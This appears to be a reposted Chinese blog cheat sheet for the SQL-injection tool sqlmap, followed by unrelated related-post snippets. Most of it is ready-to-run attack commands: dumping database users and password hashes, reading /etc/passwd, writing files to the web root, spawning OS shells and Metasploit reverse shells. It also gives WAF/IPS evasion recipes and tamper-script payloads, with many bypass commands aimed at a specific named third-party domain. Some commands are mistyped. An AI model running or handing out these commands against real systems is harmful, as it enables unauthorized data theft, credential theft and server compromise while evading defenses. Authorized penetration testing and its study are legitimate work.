2. 程式人生 > >1. sqlmap超詳細筆記+思維導圖

1. sqlmap超詳細筆記+思維導圖

阿新 • • 發佈：2018-07-18
ctc 允許 users local union all evel time 可選 字符編碼

sqlmap思維導圖：

技術分享圖片


基本操作筆記：

-u  #註入點 
-f  #指紋判別數據庫類型 
-b  #獲取數據庫版本信息 
-p  #指定可測試的參數(?page=1&id=2 -p "page,id") 
-D ""  #指定數據庫名 
-T ""  #指定表名 
-C ""  #指定字段 
-s ""  #保存註入過程到一個文件,還可中斷，下次恢復在註入(保存：-s "xx.log"　　恢復:-s "xx.log" --resume) 
--level=(1-5) #要執行的測試水平等級，默認為1 
--risk=(0-3)  #測試執行的風險等級，默認為1 
--time-sec=(2,5) #延遲響應，默認為5 
--data #通過POST發送數據 
--columns        #列出字段 
--current-user   #獲取當前用戶名稱 
--current-db     #獲取當前數據庫名稱 
--users          #列數據庫所有用戶 
--passwords      #數據庫用戶所有密碼 
--privileges     #查看用戶權限(--privileges -U root) 
-U               #指定數據庫用戶 
--dbs            #列出所有數據庫 
--tables -D ""   #列出指定數據庫中的表 
--columns -T "user" -D "mysql"      #列出mysql數據庫中的user表的所有字段 
--dump-all            #列出所有數據庫所有表 
--exclude-sysdbs      #只列出用戶自己新建的數據庫和表 
--dump -T "" -D "" -C ""   #列出指定數據庫的表的字段的數據(--dump -T users -D master -C surname) 
--dump -T "" -D "" --start 2 --top 4  # 列出指定數據庫的表的2-4字段的數據 
--dbms    #指定數據庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) 
--os      #指定系統(Linux,Windows) 
-v  #詳細的等級(0-6) 
    0：只顯示Python的回溯，錯誤和關鍵消息。 
    1：顯示信息和警告消息。 
    2：顯示調試消息。 
    3：有效載荷註入。 
    4：顯示HTTP請求。 
    5：顯示HTTP響應頭。 
    6：顯示HTTP響應頁面的內容 
--privileges  #查看權限 
--is-dba      #是否是數據庫管理員 
--roles       #枚舉數據庫用戶角色 
--udf-inject  #導入用戶自定義函數（獲取系統權限） 
--union-check  #是否支持union 註入 
--union-cols #union 查詢表記錄 
--union-test #union 語句測試 
--union-use  #采用union 註入 
--union-tech orderby #union配合order by 
--data "" #POST方式提交數據(--data "page=1&id=2") 
--cookie "用;號分開"      #cookie註入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) 
--referer ""     #使用referer欺騙(--referer "http://www.baidu.com") 
--user-agent ""  #自定義user-agent 
--proxy "http://127.0.0.1:8118" #代理註入 
--string=""    #指定關鍵詞,字符串匹配. 
--threads 　　  #采用多線程(--threads 3) 
--sql-shell    #執行指定sql命令 
--sql-query    #執行指定的sql語句(--sql-query "SELECT password FROM mysql.user WHERE user = ‘root‘ LIMIT 0, 1" ) 
--file-read    #讀取指定文件 
--file-write   #寫入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;將本地的test.txt文件寫入到目標的1.txt) 
--file-dest    #要寫入的文件絕對路徑 
--os-cmd=id    #執行系統命令 
--os-shell     #系統交互shell 
--os-pwn       #反彈shell(--os-pwn --msf-path=/opt/framework/msf3/) 
--msf-path=    #matesploit絕對路徑(--msf-path=/opt/framework/msf3/) 
--os-smbrelay  # 
--os-bof       # 
--reg-read     #讀取win系統註冊表 
--priv-esc     # 
--time-sec=    #延遲設置 默認--time-sec=5 為5秒 
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"  #指定user-agent註入 
--eta          #盲註 
/pentest/database/sqlmap/txt/
common-columns.txt　　字段字典　　　 
common-outputs.txt 
common-tables.txt      表字典 
keywords.txt 
oracle-default-passwords.txt 
user-agents.txt 
wordlist.txt 

常用語句 :
 


1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0 
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2 
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2 
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass"  -v 1 --exclude-sysdbs 
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2 
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:\boot.ini" -v 2 
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2 
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 1 
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2 
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1 
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1 
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1 
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta 
15./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "‘)" --suffix "AND (‘abc‘=‘abc"
16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
18./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 
19./sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT ‘foo‘" -v 1 
20./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner 
21./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string=‘xx‘ --dbs --level=3 -p "uid"

簡單的註入流程 :
 

1.讀取數據庫版本，當前用戶，當前數據庫 
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1 
2.判斷當前數據庫用戶權限 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用戶名 -v 1 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用戶名 -v 1 
3.讀取所有數據庫用戶或指定數據庫用戶的密碼 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2 
4.獲取所有數據庫 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2 
5.獲取指定數據庫中的所有表 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2 
6.獲取指定數據庫名中指定表的字段 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2 
7.獲取指定數據庫名中指定表中指定字段的數據 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2 
8.file-read讀取web文件 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2 
9.file-write寫入文件到web 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file


使用sqlmap繞過防火墻進行註入測試：

0x00 前言



   現在的網絡環境往往是WAF/IPS/IDS保護著Web 服務器等等，這種保護措施往往會過濾擋住我們的SQL註入查詢鏈接，甚至封鎖我們的主機IP，所以這個時候，我們就要考慮怎樣進行繞過，達到註入的目標。因為現在WAF/IPS/IDS都把sqlmap 列入黑名單了，呵呵！但是本文基於sqlmap 進行繞過註入測試，介紹至今仍然實用有效的技巧，以下策略在特定的環境能夠成功繞過，具體是否繞過，請仔細查看輸出的信息。




0x01 確認WAF




     首先我們判斷該Web 服務器是否被WAF/IPS/IDS保護著。這點很容易實現，因為我們在漏掃或者使用專門工具來檢測是否有WAF，這個檢測，在nmap 的NSE，或者WVS的策略或者APPSCAN的策略中都有，我們可以利用這些來判斷。在此我們，也介紹使用sqlmap 進行檢測是否有WAF/IPS/IDS




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --identify-waf#首選




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10  --check-waf#備選




0x02 使用參數進行繞過




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2 #使用任意瀏覽器進行繞過，尤其是在WAF配置不當的時候




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hpp -v 3#使用HTTP 參數汙染進行繞過，尤其是在ASP.NET/IIS 平臺上




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --time-sec=60 #使用長的延時來避免觸發WAF的機制，這方式比較耗時




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --proxy=211.211.211.211:8080 --proxy-cred=211:985#使用代理進行註入




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --ignore-proxy#禁止使用系統的代理，直接連接進行註入




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --flush-session#清空會話，重構註入




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hex#或者使用參數 --no-cast ，進行字符碼轉換




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --mobile #對移動端的服務器進行註入




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --tor # 匿名註入




0x03 使用腳本介紹




1 使用格式：




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --tamper=A.py,B.py#腳本A，腳本B 




2 腳本總類




01 apostrophemask.py#用utf8代替引號；Example: ("1 AND ‘1‘=‘1") ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871‘




02 equaltolike.py#MSSQL * SQLite中like 代替等號；Example:  Input: SELECT * FROM users WHERE id=1 ；Output: SELECT * FROM users WHERE id LIKE 1




03 greatest.py#MySQL中繞過過濾’>’ ,用GREATEST替換大於號；Example: (‘1 AND A > B‘) ‘1 AND GREATEST(A,B+1)=A‘




04 space2hash.py#空格替換為#號 隨機字符串 以及換行符；Input: 1 AND 9227=9227；Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227




05 apostrophenullencode.py#MySQL 4, 5.0 and 5.5，Oracle 10g，PostgreSQL繞過過濾雙引號，替換字符和雙引號；




06 halfversionedmorekeywords.py#當數據庫為mysql時繞過防火墻，每個關鍵字之前添加mysql版本評論；




07 space2morehash.py#MySQL中空格替換為 #號 以及更多隨機字符串 換行符；




08 appendnullbyte.py#Microsoft Access在有效負荷結束位置加載零字節字符編碼；Example: (‘1 AND 1=1‘) ‘1 AND 1=1%00‘




09 ifnull2ifisnull.py#MySQL，SQLite (possibly)，SAP MaxDB繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’




10 space2mssqlblank.py(mssql)#mssql空格替換為其它空符號




11base64encode.py#用base64編碼j Example: ("1‘ AND SLEEP(5)#") ‘MScgQU5EIFNMRUVQKDUpIw==‘ Requirement: all




12 space2mssqlhash.py#mssql查詢中替換空格




13 modsecurityversioned.py#(mysql中過濾空格，包含完整的查詢版本註釋;Example: (‘1 AND 2>1--‘) ‘1 /*!30874AND 2>1*/--‘




14 space2mysqlblank.py#(mysql中空格替換其它空白符號




15 between.py#MS SQL 2005，MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替換大於號（>）




16 space2mysqldash.py#MySQL，MSSQL替換空格字符（”）（’ – ‘）後跟一個破折號註釋一個新行（’ n’）




17 multiplespaces.py#圍繞SQL關鍵字添加多個空格；Example: (‘1 UNION SELECT foobar‘) ‘1 UNION SELECT foobar‘




18 space2plus.py#用+替換空格；Example: (‘SELECT id FROM users‘) ‘SELECT+id+FROM+users‘




19 bluecoat.py#MySQL 5.1, SGOS代替空格字符後與一個有效的隨機空白字符的SQL語句。 然後替換=為like




20 nonrecursivereplacement.py#雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters




21 space2randomblank.py#代替空格字符（“”）從一個隨機的空白字符可選字符的有效集




22 sp_password.py#追加sp_password’從DBMS日誌的自動模糊處理的26 有效載荷的末尾




23 chardoubleencode.py#雙url編碼(不處理以編碼的)




24 unionalltounion.py#替換UNION ALL SELECT UNION SELECT；Example: (‘-1 UNION ALL SELECT‘) ‘-1 UNION SELECT‘




25 charencode.py#Microsoft SQL Server 2005，MySQL 4, 5.0 and 5.5，Oracle 10g，PostgreSQL 8.3, 8.4, 9.0url編碼；




26 randomcase.py#Microsoft SQL Server 2005，MySQL 4, 5.0 and 5.5，Oracle 10g，PostgreSQL 8.3, 8.4, 9.0中隨機大小寫




27 unmagicquotes.py#寬字符繞過 GPC addslashes；Example: * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20




28 randomcomments.py#用/**/分割sql關鍵字；Example:‘INSERT’ becomes ‘IN//S//ERT’




29 charunicodeencode.py#ASP，ASP.NET中字符串 unicode 編碼；




30 securesphere.py#追加特制的字符串；Example: (‘1 AND 1=1‘) "1 AND 1=1 and ‘0having‘=‘0having‘"




31 versionedmorekeywords.py#MySQL >= 5.1.13註釋繞過




32 space2comment.py#Replaces space character (‘ ‘) with comments ‘/**/’




33 halfversionedmorekeywords.py#MySQL < 5.1中關鍵字前加註釋




 


0x04 腳本參數組合策略繞過




1 mysql繞過：




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent --hpp  --tamper=space2mysqldash.p,versionedmorekeywords.py




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  -delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py




備註：這些組合策略可以根據註入的反饋信息，及時調整組合策略




2 MSSQL：




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  -delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=randomcase.py,charencode.py




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=3.5 --hpp --tamper=space2comment.py,randomcase.py

root@kali:~# sqlmap -u 
"http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=3.5 
--time-sec=120  --tamper=space2mssqlblank.py,securesphere.py




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=3.5 --tamper=unionalltounion.py,base64encode.p




3 ms access:




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=3.5 --random-agent  --tamper=appendnullbyte.py,space2plus.py




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=3.5 --random-agent --hpp  --tamper=chardoubleencode.py




4 Oracle：




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=5 --random-agent --hpp --tamper=unmagicquotes.py,unionalltounion.py




root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=5--user-agent =“Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0” --hpp --tamper=charunicodeencode.py,chardoubleencode.py




5 建議：




      因為WAF可能采用白名單規則，所以對於選擇哪種策略，重點是根據-v 3 提示的信息進行判斷，可以抓取主流的瀏覽器的user-agent ,s適當的延時，加上註入字符轉換---大小寫、空格、字符串、註釋、加密等等方式



常用tamper腳本：






支持的數據庫
編號
腳本名稱
作用
實現方式




all
1
apostrophemask.py
用utf8代替引號
 ("1 AND ‘1‘=‘1") 

‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871‘ 		








2

base64encode.py 

用base64編碼替換

("1‘ AND SLEEP(5)#")

‘MScgQU5EIFNMRUVQKDUpIw==‘		








3

multiplespaces.py

圍繞SQL關鍵字添加多個空格

(‘1 UNION SELECT foobar‘)

‘1    UNION     SELECT   foobar‘		








4

space2plus.py

用+替換空格

(‘SELECT id FROM users‘)

‘SELECT+id+FROM+users‘		








5

nonrecursivereplacement.py

雙重查詢語句。取代predefined SQL關鍵字with表示 

suitable for替代（例如  .replace（“SELECT”、”")） filters		

(‘1 UNION SELECT 2--‘)

‘1 UNIOUNIONN SELESELECTCT 2--‘		








6

space2randomblank.py

代替空格字符（“”）從一個隨機的空

白字符可選字符的有效集		

(‘SELECT id FROM users‘)

‘SELECT%0Did%0DFROM%0Ausers‘		








7

unionalltounion.py

替換UNION ALL SELECT UNION SELECT

(‘-1 UNION ALL SELECT‘)

‘-1 UNION SELECT‘		








8

securesphere.py

追加特制的字符串

(‘1 AND 1=1‘)

"1 AND 1=1 and ‘0having‘=‘0having‘"		








mssql

1

space2hash.py

繞過過濾‘=’ 替換空格字符（”），（’ – ‘）後跟一個破折號註釋，一個隨機字符串和一個新行（’ n’）



‘1 AND 9227=9227‘ 

‘1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227‘ 		








2

equaltolike.py

like 代替等號



* Input: SELECT * FROM users WHERE id=1 

2 * Output: SELECT * FROM users WHERE id LIKE 1 		








3

space2mssqlblank.py(mssql)

空格替換為其它空符號

Input: SELECT id FROM users

Output: SELECT%08id%02FROM%0Fusers		








4

space2mssqlhash.py

替換空格

(‘1 AND 9227=9227‘)

‘1%23%0AAND%23%0A9227=9227‘		








5

between.py

用between替換大於號（>）

(‘1 AND A > B--‘)

‘1 AND A NOT BETWEEN 0 AND B--‘		








6

percentage.py

asp允許每個字符前面添加一個%號

* Input: SELECT FIELD FROM TABLE

* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E		








7

sp_password.py

追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾

(‘1 AND 9227=9227-- ‘)

‘1 AND 9227=9227-- sp_password‘		








8

charencode.py

url編碼

* Input: SELECT FIELD FROM%20TABLE

* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45		








9

randomcase.py

隨機大小寫

* Input: INSERT

* Output: InsERt		








10

charunicodeencode.py

字符串 unicode 編碼

* Input: SELECT FIELD%20FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′		








11

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users

* Output: SELECT//id//FROM/**/users		








mysql >= 5.1.13

1

equaltolike.py

like 代替等號



* Input: SELECT * FROM users WHERE id=1 

2 * Output: SELECT * FROM users WHERE id LIKE 1 		








2

greatest.py

繞過過濾’>’ ,用GREATEST替換大於號。

(‘1 AND A > B‘)

‘1 AND GREATEST(A,B+1)=A‘		








3

apostrophenullencode.py

繞過過濾雙引號，替換字符和雙引號。

tamper("1 AND ‘1‘=‘1")


‘1 AND %00%271%00%27=%00%271‘		








4

ifnull2ifisnull.py

繞過對 IFNULL 過濾。

替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’		

(‘IFNULL(1, 2)‘)

‘IF(ISNULL(1),2,1)‘		








5

space2mssqlhash.py

替換空格

(‘1 AND 9227=9227‘)

‘1%23%0AAND%23%0A9227=9227‘		








6

modsecurityversioned.py

過濾空格，包含完整的查詢版本註釋

(‘1 AND 2>1--‘)

‘1 /*!30874AND 2>1*/--‘		








7

space2mysqlblank.py

空格替換其它空白符號(mysql)

Input: SELECT id FROM users

Output: SELECT%0Bid%0BFROM%A0users		








8

between.py

用between替換大於號（>）

(‘1 AND A > B--‘)

‘1 AND A NOT BETWEEN 0 AND B--‘		








9

modsecurityzeroversioned.py

包含了完整的查詢與零版本註釋

(‘1 AND 2>1--‘)

‘1 /*!00000AND 2>1*/--‘		








10

space2mysqldash.py

替換空格字符（”）（’ – ‘）後跟一個破折號註釋一個新行（’ n’）

(‘1 AND 9227=9227‘)

‘1--%0AAND--%0A9227=9227‘		








11

bluecoat.py

代替空格字符後與一個有效的隨機空白字符的SQL語句。

然後替換=為like		

(‘SELECT id FROM users where id = 1‘)

‘SELECT%09id FROM users where id LIKE 1‘		








12

percentage.py

asp允許每個字符前面添加一個%號

* Input: SELECT FIELD FROM TABLE

* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E		








13

charencode.py

url編碼

* Input: SELECT FIELD FROM%20TABLE

* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45		








14

randomcase.py

隨機大小寫

* Input: INSERT

* Output: InsERt		








15

versionedkeywords.py

Encloses each non-function keyword with versioned MySQL comment

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#		








16

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users

* Output: SELECT//id//FROM/**/users		








17

charunicodeencode.py

字符串 unicode 編碼

* Input: SELECT FIELD%20FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′		








18

versionedmorekeywords.py

註釋繞過

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#		








MySQL < 5.1

19

halfversionedmorekeywords.py

關鍵字前加註釋

* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=‘QDWa

* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=‘QDWa		








20

halfversionedmorekeywords.py

當數據庫為mysql時繞過防火墻，每個關鍵字之前添加

mysql版本評論		

1.("value‘ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa‘=‘QDWa")

2."value‘/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa‘=‘QDWa"		








MySQL >= 5.1.13

21

space2morehash.py

空格替換為 #號 以及更多隨機字符串 換行符

* Input: 1 AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227		








 Oracle

1

greatest.py

繞過過濾’>’ ,用GREATEST替換大於號。

(‘1 AND A > B‘)

‘1 AND GREATEST(A,B+1)=A‘		








2

apostrophenullencode.py

繞過過濾雙引號，替換字符和雙引號。

tamper("1 AND ‘1‘=‘1")


‘1 AND %00%271%00%27=%00%271‘		








3

between.py

用between替換大於號（>）

(‘1 AND A > B--‘)

‘1 AND A NOT BETWEEN 0 AND B--‘		








4

charencode.py

url編碼

* Input: SELECT FIELD FROM%20TABLE

* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45		








5

randomcase.py

隨機大小寫

* Input: INSERT

* Output: InsERt		








6

charunicodeencode.py

字符串 unicode 編碼

* Input: SELECT FIELD%20FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′		








7

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users

* Output: SELECT//id//FROM/**/users		








 PostgreSQL

1

greatest.py

繞過過濾’>’ ,用GREATEST替換大於號。

(‘1 AND A > B‘)

‘1 AND GREATEST(A,B+1)=A‘		








2

apostrophenullencode.py

繞過過濾雙引號，替換字符和雙引號。

tamper("1 AND ‘1‘=‘1")


‘1 AND %00%271%00%27=%00%271‘		








3

between.py

用between替換大於號（>）

(‘1 AND A > B--‘)

‘1 AND A NOT BETWEEN 0 AND B--‘		








4

percentage.py

asp允許每個字符前面添加一個%號

* Input: SELECT FIELD FROM TABLE

* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E		








5

charencode.py

url編碼

* Input: SELECT FIELD FROM%20TABLE

* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45		








6

randomcase.py

隨機大小寫

* Input: INSERT

* Output: InsERt		








7

charunicodeencode.py

字符串 unicode 編碼

* Input: SELECT FIELD%20FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′		








8

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users

* Output: SELECT//id//FROM/**/users		








Access

1

appendnullbyte.py

在有效負荷結束位置加載零字節字符編碼

(‘1 AND 1=1‘)

‘1 AND 1=1%00‘		








其他

 

chardoubleencode.py

雙url編碼(不處理以編碼的)

* Input: SELECT FIELD FROM%20TABLE

* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545		








 

unmagicquotes.py

寬字符繞過 GPC  addslashes

* Input: 1′ AND 1=1

* Output: 1%bf%27 AND 1=1–%20		








 

randomcomments.py

用/**/分割sql關鍵字

‘INSERT’ becomes ‘IN//S//ERT’
















1. sqlmap超詳細筆記+思維導圖
   
 
 
 
 

            
  

           

              
              

            

            
相關推薦

			   
            
            
            
 

    


    
    
1. sqlmap超詳細筆記+思維導圖

     
 ctc   允許   users   local   union all   evel   time   可選   字符編碼     sqlmap思維導圖：

基本操作筆記：-u  #註入點 
-f  #指紋判別數據庫類型 
-b  #獲取數據庫版本信息 
-p  #指定可測試的參數(?page=1& 



  
 

    


    
    
做讀書筆記思維導圖掌握這些技巧就夠了！

     
 讀書筆記   思維導圖   技巧   
	如今越來越多的人開始用思維導圖來學習、記憶、梳理邏輯關系，也有越來越多的人嘗試用思維導圖來做讀書筆記。讀書筆記的主要內容按分類有提綱式、摘錄式、仿寫式、評論式、心得式、存疑式、簡縮式，我們接觸的傳統讀書筆記都是整段整段的，不利於直觀閱讀吸收，用思維導圖做讀書筆記的話 



  
 

    


    
    
思維導圖畫不好？超詳解思維導圖繪製教程，新手也能變大神！

     
  
 
   
 新手想要了解怎麼畫思維導圖，首先就是要學會臨摹思維導圖模板，熟悉各種專業思維導圖的樣式。 
 然而，這只是它的形，此時的思維導圖是沒有“靈魂”的，所以我們還需要在這個形裡面注入“生命”使他更加生動！這就需要學會對思維導圖軟體各個功能的靈活應用。 
  
   
 今日研究 



  
 

    


    
    
"Becoming Functional" 閱讀筆記+思維導圖

     
  
  <Becoming Functional>是O'Reilly公司今年(2014)7月釋出的一本薄薄的小冊子,151頁,介紹了函數語言程式設計的基本概念.全書使用程式碼範例都是基於JVM的程式語言,比如Java,Groovy,Scala.為了能夠講解所有的知識點,作者不得不在多個語言之間做 



  
 

    


    
    
【第三週】學習筆記+思維導圖+翻譯

     
 
                【學習筆記】一丶概念結構設計1.首先就是需要了解概念模型分為以下四個特點：(1)能真實充分地反映現實世界(2) 易於理解(3)易於更改(4)易於向關係、網狀、層次等各種資料模型轉換2. 接下來就是重點來理解一下E-R模型E-R模型分為一下三種概念：（1）兩個實體型之間的聯絡（ 



  
 

    


    
    
java各部分知識點詳細知識思維導圖

     
 
								
								            
						
